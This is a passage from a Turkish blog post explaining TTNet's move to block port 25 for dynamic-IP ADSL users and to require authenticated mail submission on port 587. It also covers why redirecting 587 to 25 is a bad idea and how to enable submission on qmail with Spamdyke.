Bir de sistemin relaya açık olma durumu vardır ki onda da mailin nerden nereye gönerildiğine bakılmaksızın işlem yapılır.
Sıkı yapılandırılmış bir mail sunucuda kayıtlı kullanıcılar mail gönderebilmek icin SMTP AUTH(kimlik dogrulama) yöntemini kullanır. Böylece kullanıcı kendisini sisteme tanıtarak istediği yere mail gönderebilir.

SMTP portu üzerinde SMTP auth özelliği isteğe bağlı olarak aktif edilir(helo/ehlo komutlarıyla). Dolayısı ile SMTP portu üzerinden hem normal kullanıcılar mail gönderme işlemi yapar hem de internetteki diğer smtp sunucuları bağlantı kurarak mail bırakır.

Eğer 25 smtp portu üzerinden zorunlu smtp auth yaptırırsak internet üzerindeki mail sunuculardan mail almak imkansız hale gelir.

İşte burada Submission yardımımıza koşuyor. SMTP’den ayrı bir porttan yine smtp protokolünü destekleyen fakat zorunlu smtp-auth isteyen bir servis çalıştırıyoruz(qmail, postfix, exim vs) ve bu porttan bağlanan kullanıcı mail göndermeden önce mutlaka kendisini tanıtması gerekiyor. Böylece TTNet 25. portu kapatarak adsl abonelerinden yayılacak spamleri engelliyor. Normal kullanıcılar ayarlarını 587. port üzerinden yapacağı için mail gönderimlerinde problem çıkmıyor.

Kullanılan yöntem Ttnet’in kendi uydurduğu, bulduğu bir yöntem değil.Tüm dünyada spamle başı dertte olan ISP’lerin uzun zamandır(bazıları yeni yeni geçiş yapıyor)kullandığı bir yöntem(bkz. Verizon ).

Toparlamak gerekirse TTNET 25. portu kapatarak dinamik IPli ADSL abonelerinden gönderilen spamleri engelleme istiyor. Bunun icin ADSL abonelerinden 25. port yerine 587. portu kullanmalari istenecek.

Peki submission kullanmaya baslayinca sadece port mu degisecek?

Hayir!

Submission portu SMTP portundan farkli olarak kendisine baglanan her kullacidan zorunlu smtp auth isteyecektir. Boylece 587 uzerinden sadece mail sunucularda tanımlı kullanıcılar mail gönderebilecek. Spam gondermek isteyen kisiler ilgili sistemde tanimli degilse mesaj gonderemeyecekler. Ek olarak worm vs bulasmıs sistemler dışarı doğru SMTP bağlantısı açamayacağından spam gönderemeyecekler.

Yani sistemde iki tane smtp portu acilacak biri disardan mail alimlari icin(yahoo, hotmail ve diger mail sunucular)digeri de ADSL abonelerinin mail gondermesi icin auth gerektirecek bir port.

Peki bu sistem disardan gelecek spamleri kesecek mi?

Hayir, zira disardan gelen spamler yine 25. porttan gelecekler. Ama amac zaten disardan gelen spamleri kesmek degil, TTnetden spam gonderilmesini engellemek.

Firewall’dan 587. portumu 25. porta yönlendirsem  çözüm olur mu?

Evet kısa vadede bir çözüm olur fakat spamciler size 25. porttan değil de 587. porttan mail gönderirlerse birşey yapamazsınız. Dolayısıyla 587. portu 25. porta yönlendirmek yerine 25. portta normal smtp servisi 587. portta submission özelliği olan(zorunlu smtp auth gerektiren)mta yazılımı çalıştırmanız gerekir.
Bizden başka bu yöntemi uygulayıp başarılı olan var mı?

Dünyanın sayılı büyük ISP’lerinden Verizon spam servisleri listesinde ilk sırada yer alırdı. Bu çalışma(ve başka ek çalışmalar) sonrasında ilk 10 da gözükmüyor.

TTNET’in de bu çalışma sonrası ilk 10′da gözükmeyeceğine inanıyorum.

Statik IP Adresimde Mail sunucu Çalışıyor Etkilenecek miyim?

Statik IP Adresi kullananlar bu yapılandırmadan etkilenmeyecekler.

Qmail icin submission ayarları.

Qmail kullanıyorsanız Spamdyke yazılımını kullanarak submission özelliğini devreye alabilirsiniz.(Başka yazılımarda mevcut fakat en ağrısız, sızısız olanı Spamdyke)

Submission hakkinda detayli bilgi icin RFC’si incelenebilir http://www.ietf.org/rfc/rfc2476.txt

Related posts:

1. TTNet ADSL Ücretsiz Kullanma Rehberi
2. Nmap’i zayıflık tarama aracı olarak kullanma-NSE
3. TTNet WiFi hizmeti ADSL abonelerine ucretsiz oldu